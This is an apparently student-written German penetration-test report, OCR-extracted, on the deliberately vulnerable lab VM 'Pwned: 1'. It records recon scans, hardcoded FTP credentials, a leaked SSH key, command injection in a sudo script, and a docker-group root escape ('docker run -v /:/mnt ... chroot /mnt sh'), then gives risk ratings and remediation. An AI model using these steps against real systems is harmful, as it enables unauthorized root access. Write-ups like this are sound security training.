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1 Executive Summary

Im Rahmen dieser Sicherheitsanalyse wurde die bereitgestellte Boot2Root-Umgebung Pwned: 1 syste-
matisch untersucht. Ziel war es, Schwachstellen zu identifizieren, auszunutzen und einen vollstandigen
Zugriff auf das System bis hin zu administrativen Rechten (Root) zu erlangen.

Die Analyse zeigt, dass das System mehrere kritische Sicherheitsmangel aufweist, die in Kombination ei-
ne vollstandige Kompromittierung ermoglichen. Ein Angreifer kann ohne grossen technischen Aufwand
initialen Zugriff erlangen und diesen schrittweise bis zu vollstandigen Systemrechten ausbauen.

Zentrale Ergebnisse Im Rahmen des Tests wurden insbesondere folgende kritische Schwachstellen
identifiziert:

+ Im Quellcode hinterlegte Zugangsdaten: Zugangsdaten sind direkt in der Webanwendung
gespeichert und kdnnen ohne Authentifizierung ausgelesen werden.

+ Offen zugdnglicher privater SSH-Schliissel: Ein privater Schliissel ist ungeschiitzt abrufbar
und ermdglicht direkten Systemzugriff.

+ Unsichere Verarbeitung von Benutzereingaben: Eine Schwachstelle erlaubt die Ausfiihrung
beliebiger Systembefehle.

+ Fehlkonfiguration der Docker-Berechtigungen: Durch unzureichende Zugriffsheschrankungen
kann ein Angreifer administrative Rechte (Root) erlangen.

Zusatzlich wurden weitere Schwachstellen identifiziert, die die Angriffsflache erheblich vergrdssern,
insbesondere 6ffentlich zugangliche interne Dateien sowie ein unsicher konfigurierter FTP-Dienst.

Risikobewertung Die identifizierten Schwachstellen weisen insgesamt ein hohes Risikoniveau auf.
Mehrere Findings ermoglichen bereits einzeln eine schwerwiegende Kompromittierung, in Kombinati-
on fiihren sie zu einer vollstandigen Ubernahme des Systems. Besonders kritisch ist dabei die einfache
Ausnutzbarkeit ohne besondere Vorkenntnisse.

Empfohlene Sofortmassnahmen Zur Reduktion des Risikos sollten prioritar folgende Massnahmen
umgesetzt werden:

+ Entfernung von Zugangsdaten aus dem Quellcode und Einsatz sicherer Speichermechanismen
+ Schutz und sichere Verwaltung von SSH-Schlisseln

« Behebung der unsicheren Eingabeverarbeitung

+ Einschrankung von privilegierten Systemberechtigungen, insbesondere im Zusammenhang mit

Docker

Fazit DieAnalyse verdeutlicht, dass grundlegende Sicherheitsprinzipien im System nicht konsequent
umgesetzt wurden. Bereits einfache Schwachstellen ermdglichen weitreichende Angriffe. Eine zeitnahe
Umsetzung der empfohlenen Massnahmen ist erforderlich, um die Sicherheit des Systems nachhaltig
zu verbessern.
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3 Scope

Dieses Kapitel definiert den Untersuchungsrahmen der Sicherheitsanalyse. Es beschreibt das Zielsys-
tem, die Testart, die Testumgebung sowie die geltenden Einschrankungen.

3.1 Zielsystem

Das Zielsystem ist die bereitgestellte Boot2Root-VM Pwned: 1. Es handelt sich um eine absichtlich
verwundbare Linux-Maschine mit einer Webanwendung und mehreren Netzwerkdiensten.

Ziel der Analyse ist es, Schwachstellen zu identifizieren, auszunutzen und schrittweise Zugriff bis hin
zu Root-Rechten zu erlangen sowie die vorgesehenen Flags zu finden.

Die IP-Adresse des Zielsystems ist zu Beginn nicht bekannt und wird im Rahmen der Netzwerkanalyse
ermittelt.

3.2 Testart

Der Test wird als Black-Box-Penetrationstest durchgefiihrt. Zu Beginn liegen keine Informationen liber
die interne Struktur, Benutzer oder Konfiguration des Systems vor. Die Analyse erfolgt ausschliesslich
uber erreichbare Netzwerkdienste und die Webanwendung.

Die Aufgabenstellung gibt eine grobe Vorgehensweise sowie empfohlene Tools vor. Diese dienen der
methodischen Orientierung und stellen kein Vorwissen tiber das Zielsystem dar.

Das Vorgehen orientiert sich an den Phasen des OWASP Testing Guides.

3.3 Testumgebung

Die Analyse erfolgt in einer isolierten lokalen Testumgebung. Als Host-System wird Fedora Linux 43 mit
KVM und virt-manager eingesetzt. Das Angreifer-System ist eine Kali Linux VM.

Das Zielsystem wird aus dem bereitgestellten OVA-Image importiert und in ein kompatibles Format
flir KYM konvertiert. Aufgrund von Unterschieden zwischen VirtualBox und KVM hinsichtlich der virtu-
ellen Hardware (insbesondere der Netzwerkschnittstellen) ist eine initiale Anpassung innerhalb des
Zielsystems erforderlich.

Zur Sicherstellung der Netzwerkkommunikation werden beide virtuellen Maschinen in ein dediziertes,
isoliertes internes Netzwerk (libvirt virtual network) eingebunden. Dieses Netzwerk stellt einen privaten
Adressbereich mit DHCP bereit, sodass beide Systeme automatisch IP-Adressen aus demselben Subnetz
beziehen kdnnen.

Da das Zielsystem die virtuelle Netzwerkschnittstelle nach der Migration nicht automatisch erkennt,
wird diese manuell aktiviert und fiir DHCP konfiguriert. Dadurch ist das Zielsystem im selben Layer-2-
Netzwerk erreichbar und kann mit dem Angreifer-System kommunizieren.

Die Ziel-IP wird dynamisch vergeben und im Rahmen der Reconnaissance-Phase identifiziert.
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3.4 Einschrankungen

Die Analyse beschrankt sich auf das bereitgestellte Zielsystem. Es werden keine Angriffe auf externe
Systeme durchgefihrt.

Auf Denial-of-Service-Angriffe wird verzichtet, da diese primar die Verfligbarkeit des Systems beein-
trachtigen und nicht zur Erlangung von Zugriff beitragen. Zudem besteht das Risiko, die Stabilitat der
Testumgebung zu gefdhrden und die weitere Analyse zu beeintrachtigen.

Das Zielsystem ist bewusst verwundbar und fur Ausbildungszwecke konzipiert. Alle identifizierten
Schwachstellen diirfen im Rahmen der Challenge ausgenutzt werden.



4 Methodik

Dieses Kapitel beschreibt die methodische Vorgehensweise der Sicherheitsanalyse. Es werden die
verwendeten Standards, der Testansatz sowie die einzelnen Testphasen definiert.

4.1 Standards und Referenzen

Die Durchfiihrung der Analyse orientiert sich am OWASP Web Security Testing Guide (WSTG). Dieser
definiert strukturierte Testphasen und stellt einen anerkannten Standard flir Web-Penetrationstests
dar.

Die in der Aufgabenstellung vorgegebenen Phasen entsprechen weitgehend diesem Vorgehensmodell
und werden als Grundlage fiir die strukturierte Durchfiihrung des Penetrationstests verwendet.

4.2 Testansatz

Der Testansatz basiert auf einer Kombination aus automatisierten und manuellen Tests.

Automatisierte Tools dienen der effizienten Identifikation von offenen Diensten sowie potenziellen
Schwachstellen. Die manuelle Analyse ermoglicht eine gezielte Verifikation der Ergebnisse sowie die
tatsachliche Ausnutzung identifizierter Schwachstellen.

Dieses kombinierte Vorgehen entspricht gangigen Best Practices im Penetration Testing, da automati-
sierte Verfahren haufig Fehlalarme (False Positives) liefern, welche durch manuelle Prifung validiert
werden miissen.

4.3 Testphasen

Die Durchfiihrung erfolgt in mehreren aufeinander aufbauenden Phasen. Diese folgen einem struktu-
rierten Angriffsvorgehen gemass OWASP Testing Guide und orientieren sich an einem realistischen
Angriffsablauf.

4.3.1 Reconnaissance

In dieser Phase wird das Zielsystem identifiziert und grundlegende Informationen gesammelt. Dazu
gehort insbesondere die Ermittlung der IP-Adresse sowie eine erste Analyse des Netzwerks.

Ziel ist es, eine Ubersicht (iber die vorhandenen Systeme zu erhalten und das Angriffsziel eindeutig zu
bestimmen. Diese Phase bildet die Grundlage fiir alle weiteren Schritte.

Die Reconnaissance entspricht der Informationsgewinnung im OWASP Testing Guide und ist notwendig,
da zu Beginn keine Informationen liber das Zielsystem vorliegen.

4.3.2 Enumeration

In der Enumeration-Phase werden die zuvor identifizierten Systeme detailliert analysiert. Dabei werden
offene Ports, laufende Dienste sowie erreichbare Schnittstellen untersucht.

Ziel ist es, die Angriffsflache des Systems zu verstehen und potenzielle Einstiegspunkte zu identifizieren.



4 Methodik

Diese Phase baut direkt auf der Reconnaissance auf und vertieft die gewonnenen Informationen durch
eine systematische Analyse.

4.3.3 Initial Access und Exploitation

Basierend auf den gesammelten Informationen werden mogliche Schwachstellen identifiziert und
gezielt ausgenutzt.

Zielist es, einen ersten Zugriff auf das System zu erlangen. Dies kann beispielsweise durch unsichere
Konfigurationen, exponierte Dateien oder fest codierte Zugangsdaten erfolgen.

Diese Phase stellt den Ubergang von der passiven Analyse zur aktiven Kompromittierung des Systems
dar und ist ein zentraler Bestandteil eines Penetrationstests.

4.3.4 Privilege Escalation

Nach erfolgreichem Erstzugriff wird versucht, die bestehenden Benutzerrechte zu erweitern. Dabei
werden lokale Schwachstellen, Fehlkonfigurationen oder unsichere Berechtigungen ausgenutzt.

Ziel ist es, hohere Berechtigungen bis hin zu administrativen Rechten zu erlangen und somit eine
vollstandige Kontrolle Uiber das System zu erreichen.

Im Rahmen dieser Phase erfolgt auch die Validierung der erfolgreichen Kompromittierung, beispiels-
weise durch den Zugriff auf geschlitzte Bereiche oder das Auslesen sensibler Daten.

Diese Phase umfasst somit sowohl die Rechteausweitung als auch die abschliessende Verifikation des
Angriffs, wodurch eine vollstandige Systemiibernahme nachgewiesen wird.
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Dieses Kapitel beschreibt den tatsachlichen Angriffspfad in chronologischer Reihenfolge entlang der
Phasen Reconnaissance, Enumeration, Initial Access und Privilege Escalation. Ziel ist die nachvollzieh-
bare Darstellung der identifizierten Schwachstellen sowie deren systematische Ausnutzung bis zur
vollstandigen Systemkompromittierung.

5.1 Reconnaissance

In dieser Phase wurde das Zielsystem im Netzwerk identifiziert sowie eine erste Analyse der erreichba-
ren Dienste durchgefiihrt. Die gewonnenen Informationen bilden die Grundlage fiir alle nachfolgenden
Angriffsschritte.

Ziel Identifikation der Zielmaschine im Netzwerk sowie der erreichbaren Dienste als Grundlage fiir
die weitere Analyse.

Vorgehen Zur Identifikation aktiver Hosts im lokalen Netzwerk wurde ein ARP-Scan durchgefiihrt:

1 sudo arp-scan -1
Quellcode 1: Ermittlung aktiver Hosts im lokalen Netzwerk

Anschliessend wurde ein vollstandiger Port- und Dienstescan durchgefiihrt:

1 nmap -sV -sC -p- 192.168.100.167

Quellcode 2: Port- und Dienstescan des Zielsystems

Ergebnis Die Zielmaschine wurde unter der IP-Adresse 192 .168.100. 167 identifiziert. Der Scan
ergab folgende erreichbare Dienste:

. 21/tcp - FTP
« 22[tcp - SSH

+ 80/tcp - HTTP
Die Ergebnisse des Scans sind in Abbildung 1 dargestellt.

Bewertung Der Webserver auf Port 80 stellt die primare Angriffsflache dar, da Webanwendungen
haufig komplexe und potenziell verwundbare Logik enthalten.

Die zusatzlich erreichbaren Dienste FTP und SSH erweitern die Angriffsflache und bieten potenzielle
Einstiegspunkte fiir weiterfiihrende Angriffe.



5 Durchfiihrung des Penetrationstests

) ~

! 192.168.100.167
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-22 10:40 +0100
Nmap scan report for pwned.app-sec-testing-challenge-network (192.168.100.167)
Host is up (0.00024s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+debl0u2 (protocol 2.0)
| ssh-hostkey:
| 2048 fe:cd:90:19:74:91:ae:f5:64:a8:a5:e8:6f:6e:ef:7e (RSA)
| 256 81:32:93:bd:ed:9b:e7:98:af:25:06:79:5f:de:91:5d (ECDSA)
| _ 256 dd:72:74:5d:4d:2d:a3:62:3e:81:af:09:51:e0:14:4a (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
| _http-server-header: Apache/2.4.38 (Debian)
| _http-title: Pwned
MAC Address: 52:54:00:99:F2:8E (QEMU virtual NIC)
Service Info: 0Ss: Unix, Linux; CPE: cpe:/o:1linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org
/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.55 seconds

Abbildung 1: Ergebnis des Port- und Dienstescans
Eigene Darstellung

5.2 Enumeration

In der Enumeration-Phase wurden die identifizierten Dienste gezielt analysiert, um zusatzliche Informa-
tionen uber potenzielle Angriffspunkte zu gewinnen. Der Fokus lag insbesondere auf dem Webserver.

Ziel Identifikation versteckter Ressourcen sowie Gewinnung zusatzlicher Informationen uber poten-
zielle Angriffspunkte.

Vorgehen Zunachst wurde die Webanwendung manuell analysiert. Dabei wurde im HTML-Quellcode
der Startseite (http://192.168.100.167) ein versteckter Hinweis identifiziert:

1 N
2 She sings very well. I loved it
3 it

Quellcode 3: Relevanter Hinweis im HTML-Quellcode

Anschliessend wurde eine Directory Enumeration durchgefiihrt:

1 gobuster dir -u http://192.168.100.167 \
2 -w Jusr/share/dirbuster/wordlists/directory-list-2.3-medium.txt \
3 -Xx php,html,txt,old,bak

Quellcode 4: Directory Enumeration

Ergebnis Eswurden mehrere relevante Verzeichnisse identifiziert, insbesondere:

« /hidden_text/
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o /robots.txt

Im Verzeichnis /hidden_text/ wurde die Datei secret.dic gefunden, welche als Wortliste flir
weitere Enumeration-Schritte genutzt werden konnte.

Durch Verwendung dieser benutzerdefinierten Wortliste konnte der zuvor nicht auffindbare Pfad
/pwned.vuln identifiziert werden. Dieser stellt eine Login-Oberflache bereit (vgl. Abbildung 2).

Die Analyse des Quellcodes dieser Seite offenbarte fest codierte Zugangsdaten:

1 if ($un=='ftpuser' && $pw=='BOss_B!TcH')

Quellcode 5: Hardcoded Credentials im Quellcode

Bewertung Die Speicherungvon Zugangsdaten im Quellcode stellt eine kritische Schwachstelle dar,
da diese ohne Authentifizierung extrahiert werden konnen.

Zusatzlich zeigt die Datei secret . d1ic,dass sensible Informationen ungeschiitztim Webroot abgelegt
wurden. Dies stellt eine Fehlkonfiguration dar und erleichtert gezielte Angriffe erheblich.

10
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B Pwned....!! 192.168.10( 404 Not Fo 192.168.10( 192.168.10( login X +

< C @ O @ NotSecure  http://192.168.100.167/pwned.vuln/ o @ &

-8 Import bookmarks... OffSec Kali Linux # KaliTools ¢ KaliDocs X Kali Forums e\ Kali NetHunter Exploit-DB

vanakam nanba. I hacked your login page too with
advanced hacking method

Username | | Password | [ Submit Query |

® | T3 nspector () Console [ Debugger P Network {} StyleEditor (2} Performance 40k Memory [E) Storage 1G] - X
v 4 thov cls ® @ B D Layout Computed Changes Compatibility |~

<!DOCTYPE html>
<html>

d.

¢ margin
border
; padding
E@ N 929x150.367

html > body

W rror: arnings_Info_ ebu XHR Requests ¥ X

GET http://192.168.100.167/favicon.ico [HTTP/1.1 Not Found Oms]

e

Abbildung 2: Identifizierte Login-Seite unter /pwned.vuln
Eigene Darstellung

11
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5.3 Initial Access

Basierend auf den Ergebnissen der Enumeration wurde ein initialer Zugriff auf das Zielsystem ange-
strebt.

Ziel Erlangung eines initialen Zugriffs auf das Zielsystem unter Verwendung der identifizierten Zu-
gangsdaten.
Vorgehen Die extrahierten Zugangsdaten wurden fiir einen Login Uber den FTP-Dienst verwendet:

1 ftp 192.168.100.167

Quellcode 6: Authentifizierung am FTP-Dienst

Nach erfolgreicher Anmeldung wurde im Dateisystem ein privater SSH-Schlissel identifiziert und
heruntergeladen:

1 get id_rsa
2 chmod 600 id_rsa

Quellcode 7: Download und Vorbereitung des SSH-Schlussels

Anschliessend wurde der Zugriff liber SSH durchgefiihrt:

1 ssh -i id_rsa ariana@l92.168.100.167

Quellcode 8: SSH Zugriff mittels privatem Schliissel

Ergebnis Der Zugriff als Benutzer ariana konnte erfolgreich hergestellt werden. Die erfolgreiche
Authentifizierung ist in Abbildung 3 dargestellt.

Im Benutzerverzeichnis konnte die erste Flag ausgelesen werden, womit der initiale Zugriff bestatigt
ist.

Bewertung Die Kombination aus wiederverwendeten Zugangsdaten und ungeschiitztem privaten
SSH-Schlussel stellt eine schwerwiegende Sicherheitsliicke dar.

Insbesondere die ungeschiitzte Ablage des privaten Schliissels ermdglicht eine direkte Authentifizie-
rung ohne zusatzliche Sicherheitsmechanismen und flihrt zu einer vollstandigen Kompromittierung
des Benutzerkontos.

12
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)-[~]
600 id_rsa

( )-[~]
[j_ i id_rsa arianap192.168.100.167
*%* WARNING: connection is not using a post-quantum key exchange algorithm.
*%* This session may be vulnerable to "store now, decrypt later" attacks.
*% The server may need to be upgraded. See https://openssh.com/pq.html
Linux pwned 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+debloul (2020-06-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Last login: Sun Mar 22 18:54:29 2026 from 192.168.100.223
arianagpwned:~$

Abbildung 3: Erfolgreicher SSH-Zugriff als Benutzer ariana
Eigene Darstellung

5.4 Privilege Escalation

Nach erfolgreichem initialem Zugriff wurde eine Privilege Escalation durchgefiihrt, um administrative
Rechte zu erlangen.

Ziel Eskalation der Benutzerrechte zur Erlangung administrativer (Root-)Rechte.

Vorgehen Zundchst wurden die verfligbaren sudo-Berechtigungen analysiert:

1 sudo -1

Quellcode 9: Analyse der sudo-Berechtigungen

Dabei wurde festgestellt, dass ein Script als Benutzer selena ausgefiihrt werden darf. Die Analyse
des Scripts zeigte eine unsichere Verarbeitung von Benutzereingaben:

1 $msg 2> /dev/null

Quellcode 10: Unsichere Eingabeverarbeitung im Script

Dies ermoglichte eine Command Injection und somit die Ausfiihrung beliebiger Befehle im Kontext
von selena.

Anschliessend wurde festgestellt, dass dieser Benutzer Mitglied der Gruppe docker ist. Diese Fehl-
konfiguration wurde zur Eskalation genutzt.

Ergebnis Durch die Ausnutzung der Docker-Gruppe konnte eine Root-Shell gestartet werden. Der
erfolgreiche Zugriff ist in Abbildung 4 dargestellt.

Bewertung Die Kombination aus unsicherem Script (Command Injection) und der Mitgliedschaft in
der Docker-Gruppe stellt eine kritische Fehlkonfiguration dar.

13
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1 docker run -v /:/mnt --rm -it privesc chroot /mnt sh
Quellcode 11: Privilege Escalation tiber Docker

Die Docker-Gruppe ermoglicht einen indirekten Root-Zugriff, da Container mit Zugriff auf das Host-
Dateisystem gestartet werden kénnen. In Kombination mit der Command Injection fiihrt dies zu einer
vollstandigen Kompromittierung des Systems mit administrativen Rechten.

docker run -v /:/mnt --rm -it privesc chroot /mnt sh
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# 1s -la
total 28

root root 4096 Jul 10

root root 4096 Jul 6 e

1 root root 292 Jul 10 .bash_history

root root 601 Jul 6 .bashrc
drwxr-xr-x root root 4096 Jul 4 .local
-IrW-r--r-- root root 148 Aug 17 .profile
-rw-r--r-- 1 root root 429 Jul 10 root.txt
# cat root.txt
4d4098d64e163d2726959455d046fd7c

You found me. i dont't expect this (e . @)

I am Ajay (Annlynn) i hacked your server left and this for you.

I trapped Ariana and Selena to takeover your server :)

You Pwned the Pwned congratulations :)

share the screen shot or flags to given contact details for confirmation
Telegram https://t.me/joinchat/NGcyGx01l5s1f7_XtokTr7g

Instgarm ajs_walker

Twitter Ajs_walker

i

Abbildung 4: Erfolgreicher Zugriff auf Root-Ebene und Ausgabe des dritten Flags
Eigene Darstellung

14



6 Schwachstellenanalyse

Dieses Kapitel beschreibt die im Rahmen des Penetrationstests identifizierten Schwachstellen. Die Fin-
dings werden strukturiert dargestellt und hinsichtlich ihrer technischen Kritikalitat (Severity) bewertet.
Grundlage bildet der zuvor dokumentierte Angriffspfad (vgl. Kapitel 5).

6.1 Ubersicht der identifizierten Schwachstellen

Die nachfolgende Tabelle gibt einen Uberblick tiber alle identifizierten Schwachstellen. Die Sortierung
erfolgt nach absteigender Kritikalitat.

ID Titel Severity  Kurzbeschreibung
F-01 Hardcoded Critical Zugangsdaten sind direkt im Quellcode der
Credentials Webanwendung hinterlegt und kdnnen ohne

Authentifizierung extrahiert werden. Dies ermoglicht
einen unmittelbaren Initial Access.

F-02 Offen zuganglicher Critical Ein privater SSH-Schlussel ist ungeschitzt zuganglich
SSH-Schliissel und kann direkt fiir eine Authentifizierung verwendet
werden. Dies flihrt zu einer vollstandigen
Kompromittierung des Benutzerkontos.

F-03 Command Critical Unsichere Verarbeitung von Benutzereingaben
Injection im Script ermoglicht die Ausfiihrung beliebiger Systembefehle im
Kontext eines privilegierten Benutzers.
F-04 Unsichere Docker- Critical Mitgliedschaft in der Docker-Gruppe erlaubt das Starten
Konfiguration privilegierter Container mit Zugriff auf das
Host-Dateisystem und ermdglicht Root-Zugriff.
F-05 Sensible Dateien  High Interne Dateien sind 6ffentlich zugdnglich und
im Webroot ermoglichen eine gezielte Enumeration sowie das
Auffinden versteckter Ressourcen.
F-06 Unsicherer High Der FTP-Dienst erlaubt Zugriff mit bekannten
FTP-Zugriff Zugangsdaten und ermdglicht das Auslesen sensibler
Dateien.

Tabelle 1: Ubersicht der identifizierten Schwachstellen
Eigene Darstellung

Die Einstufung der Severity erfolgt auf Basis technischer Kriterien wie Ausnutzbarkeit, notwendige
Voraussetzungen und potenzieller Systemimpact.

6.2 Detaillierte Schwachstellen

6.2.1 F-01 - Hardcoded Credentials

Schweregrad Critical
Beschreibung Im Quellcode der Webanwendung sind Zugangsdaten fest hinterlegt.

Auswirkung Ein Angreifer kann sich ohne weitere Authentifizierung direkt am System anmelden
und Initial Access erlangen.
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6 Schwachstellenanalyse

Reproduktion
« Zugriff auf Login-Seite
+ Analyse des Quellcodes

« Extraktion der Credentials
Nachweis vgl. Abbildung 2

Massnahmen
+ Keine Speicherung von Credentials im Code

« Einsatz von Secret Management

6.2.2 F-02 - Offen zuganglicher SSH-Schliissel

Schweregrad Critical
Beschreibung Ein privater SSH-Schlissel ist liber den FTP-Dienst abrufbar.
Auswirkung Direkter Zugriff auf das System ohne Passwort.

Reproduktion
» Download des Schliissels via FTP

+ SSH-Login mitid_rsa
Nachweis vgl. Abbildung 3,10 und 11

Massnahmen
» Schutz von SSH-Schlisseln

+ Verwendung von Passphrases

6.2.3 F-03 - Command Injection im Script

Schweregrad Critical
Beschreibung Ein Script verarbeitet Benutzereingaben unsicher und fiihrt diese direkt aus.
Auswirkung Ausfiihrung beliebiger Befehle im Kontext eines privilegierten Benutzers.

Reproduktion
« Ausfiuihrung via sudo

« Eingabevon /bin/bash

Nachweis vgl. Abbildung 15,16 und 17
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6 Schwachstellenanalyse

Massnahmen
« Input Validation

« Vermeidung von Shell-Ausfiihrung

6.2.4 F-04 - Unsichere Docker-Konfiguration

Schweregrad Critical

Beschreibung Der Benutzer ist Mitglied der Docker-Gruppe und kann Container mit Host-Zugriff
starten.

Auswirkung Vollstandige Privilege Escalation zu Root.

Reproduktion
+ Ausfiihren eines Containers mit-v /:/mnt

+ Zugriff auf Root-Dateisystem
Nachweis vgl. Abbildung 4

Massnahmen
« Entfernen aus Docker-Gruppe

» Rootless Docker verwenden

6.2.5 F-05 - Sensible Dateien im Webroot

Schweregrad High
Beschreibung Interne Dateien sind offentlich zuganglich.
Auswirkung Erleichtert Enumeration und Auffinden weiterer Angriffsvektoren.

Reproduktion
« Directory Enumeration

« Zugriffauf /hidden_text/
Nachweis vgl. Abbildung 6,7 und 8

Massnahmen
« Entfernen sensibler Dateien

« Zugriffsbeschrankungen

6.2.6 F-06 - Unsicherer FTP-Zugriff

Schweregrad High

17



6 Schwachstellenanalyse

Beschreibung FTP erlaubt Zugriff mit bekannten Credentials.
Auswirkung Zugriff auf sensible Dateien moglich.

Reproduktion
 Loginvia FTP

» Dateidownload
Nachweis vgl. Abbildung9und 10

Massnahmen
o FTP deaktivieren oder ersetzen

+ Zugriff einschranken

18



7 Nicht gepriifte Angriffsklassen

Im Rahmen der durchgefiihrten Analyse lag der Fokus auf der Identifikation und Ausnutzung konkreter
Schwachstellen, welche zur Erlangung von Systemzugriffen fiihrten.

Typische Webangriffe wie SQL Injection oder Cross-Site Scripting wurden nicht vertieft untersucht.

Dies ist darauf zurlickzufuihren, dass die analysierte Anwendung keine dynamische Eingabeverarbei-
tung oder erkennbare Datenbankanbindung aufweist.

Der Schwerpunkt der Untersuchung lag somit auf den tatsachlich ausnutzbaren Schwachstellen,
welche zur vollstandigen Systemkompromittierung fiihrten.

19



8 Risikobewertung

Dieses Kapitel bewertet die identifizierten Schwachstellen hinsichtlich ihrer Eintrittswahrscheinlichkeit
und ihrer potenziellen Auswirkungen. Ziel ist die Priorisierung der Risiken als Grundlage fiir geeignete
Massnahmen.

8.1 Methodik

Die Risikobewertung erfolgt in Anlehnung an die OWASP Risk Rating Methodology. Ziel ist die struk-
turierte Bewertung der identifizierten Schwachstellen hinsichtlich ihrer Eintrittswahrscheinlichkeit
(Likelihood) und ihrer potenziellen Auswirkungen (Impact).

Grundprinzip Das Risiko ergibt sich aus der Kombination von Wahrscheinlichkeit und Auswirkung:

Risk = Likelihood x I'mpact

Likelihood (Wahrscheinlichkeit) Die Wahrscheinlichkeit beschreibt, wie einfach eine Schwachstelle
ausgenutzt werden kann. Die Bewertung erfolgt qualitativ anhand folgender Kriterien:

+ notwendiges Fachwissen des Angreifers
« Verfligbarkeit von Exploits oder Tools
« Komplexitat der Ausnutzung

« erforderliche Voraussetzungen

Impact (Auswirkung) Die Auswirkung beschreibt die potenziellen Schaden bei erfolgreicher Ausnut-
zung:

« Vertraulichkeit (Confidentiality)
« Integritat (Integrity)
« Verflgbarkeit (Availability)
Bewertungsskala Die Bewertung erfolgt in drei Stufen:

« Low
o Medium

+ High

8.2 Bewertung der identifizierten Risiken
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8 Risikobewertung

ID Likelihood Impact Risk

F-01 High

F-02 High

F-03 High

F-04 High

High High
High High
High High
High High

F-05 Medium Medium Medium

F-06 Medium Medium Medium

Begriindung

Zugangsdaten sind direkt im Quellcode hinterlegt
und ohnetechnische Hiirden auslesbar. Ein Angreifer
kann unmittelbar Zugriff erlangen.

Der private SSH-Schliissel ist frei zuganglich und er-
moglicht direkten Systemzugriff ohne Authentifizie-
rung.

Die Command Injection erlaubt die Ausfiihrung be-
liebiger Befehle im Kontext eines privilegierten Be-
nutzers.

Durch die Docker-Gruppe kann ein Angreifer Root-
Zugriff erlangen, was zu einer vollstandigen System-
kompromittierung fiihrt.

Offentlich zugéngliche Dateien erleichtern die Enu-
meration, fiihren jedoch nicht direkt zu einer System-
kompromittierung.

Der FTP-Zugriff ermoglicht das Auslesen von Dateien,
stellt jedoch ohne weitere Schwachstellen keinen
direkten Root-Zugriff dar.

Tabelle 2: Risikobewertung der identifizierten Schwachstellen
Eigene Darstellung

8.3 Risikoklassifizierung

Die Risikoklassifizierung erfolgt basierend auf der Kombination von Likelihood und Impact.

Risikostufe Beschreibung

High

Medium

Low

Schwachstellen mit hoher Wahrscheinlichkeit und schwerwiegenden Auswir-
kungen. Diese ermoglichen in der Regel eine vollstandige Systemkompromit-
tierung und erfordern sofortige Massnahmen.

Schwachstellen mit moderater Wahrscheinlichkeit oder begrenzten Auswirkun-
gen. Diese sollten zeitnah behoben werden.

Schwachstellen mit geringer Auswirkung oder schwer ausnutzbar. Behebung
ist optional oder langfristig einzuplanen.

Tabelle 3: Klassifizierung der Risikostufen
Eigene Darstellung
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9 Massnahmen

Dieses Kapitel beschreibt geeignete Massnahmen zur Behebung der identifizierten Schwachstellen.
Die Empfehlungen sind nach Prioritat gegliedert und orientieren sich an den zuvor bewerteten Risiken.

9.1 Sofortmassnahmen

Die folgenden Massnahmen sollten umgehend umgesetzt werden, da sie kritische Schwachstellen
betreffen und eine unmittelbare Systemkompromittierung ermaglichen:

+ Entfernung von Hardcoded Credentials (F-01): Zugangsdaten diirfen nicht im Quellcode
gespeichert werden. Stattdessen sollen sichere Mechanismen wie Umgebungsvariablen oder
Secret-Management-Losungen eingesetzt werden.

+ Sicherung von SSH-Schliisseln (F-02): Private SSH-Schliissel diirfen nicht 6ffentlich zuganglich
sein. Schlissel miissen geschiitzt gespeichert und zusatzlich mit einer Passphrase abgesichert
werden.

+ Behebung der Command Injection (F-03): Benutzereingaben missen strikt validiert und berei-
nigt werden. Die direkte Ausfiihrung von Eingaben in der Shell ist zu vermeiden.

+ Entzug von Docker-Rechten (F-04): Benutzer diirfen nicht Mitglied der Docker-Gruppe sein, da

dies Root-Zugriff ermdglicht. Alternativ ist der Einsatz von Rootless Docker zu priifen.

9.2 Mittelfristige Massnahmen
Diese Massnahmen dienen der Verbesserung der Systemhartung und der Reduktion der Angriffsflache:

« Absicherung des FTP-Dienstes (F-06): Der FTP-Dienst sollte deaktiviert oder durch sichere
Alternativen wie SFTP ersetzt werden. Zusatzlich sind starke Authentifizierungsmechanismen
einzufiihren.

« Entfernung sensibler Dateien aus dem Webroot (F-05): Interne Dateien diirfen nicht 6ffentlich
zugdnglich sein. Eine klare Trennung zwischen o6ffentlich erreichbaren und internen Ressourcen
ist umzusetzen.

« Minimierung von Benutzerrechten: Das Prinzip der minimalen Rechtevergabe (Least Privilege)
sollte konsequent angewendet werden, insbesondere fiir Systembenutzer und Dienste.

« Einsatz von Logging und Monitoring: Sicherheitsrelevante Aktionen sollten protokolliert und
Uberwacht werden, um Angriffe friihzeitig erkennen zu konnen.

9.3 Langfristige Massnahmen

Zur nachhaltigen Verbesserung der Sicherheit sollten folgende organisatorische und technische Mass-
nahmen etabliert werden:

« Einfiithrung sicherer Entwicklungsprozesse: Sicherheitsaspekte sollten bereits in der Entwick-
lungsphase berticksichtigt werden (Secure Coding).
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9 Massnahmen

Integration von DevSecOps: Sicherheitspriifungen wie statische Codeanalyse oder Dependency-
Checks sollten automatisiert in den Entwicklungsprozess integriert werden.

Regelmadssige Penetrationstests und Audits: Wiederkehrende Sicherheitsanalysen helfen,
neue Schwachstellen friihzeitig zu identifizieren.

Verwendung von HTTPS: Die Kommunikation sollte durch TLS verschlisselt werden, um die
Vertraulichkeit und Integritat der Daten zu gewahrleisten.

Implementierung zusatzlicher Sicherheitsmechanismen: Beispielsweise kann eine Content
Security Policy (CSP) eingesetzt werden, um potenzielle Angriffsvektoren im Webkontext weiter
zu reduzieren.
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10 Fazit

Im Rahmen des Penetrationstests konnten mehrere kritische Schwachstellen identifiziert und er-
folgreich ausgenutzt werden. Durch die Kombination von Hardcoded Credentials, ungeschiitzten
SSH-Schliisseln sowie unsicheren Systemkonfigurationen war eine vollstandige Kompromittierung
des Zielsystems bis hin zu Root-Rechten moglich.

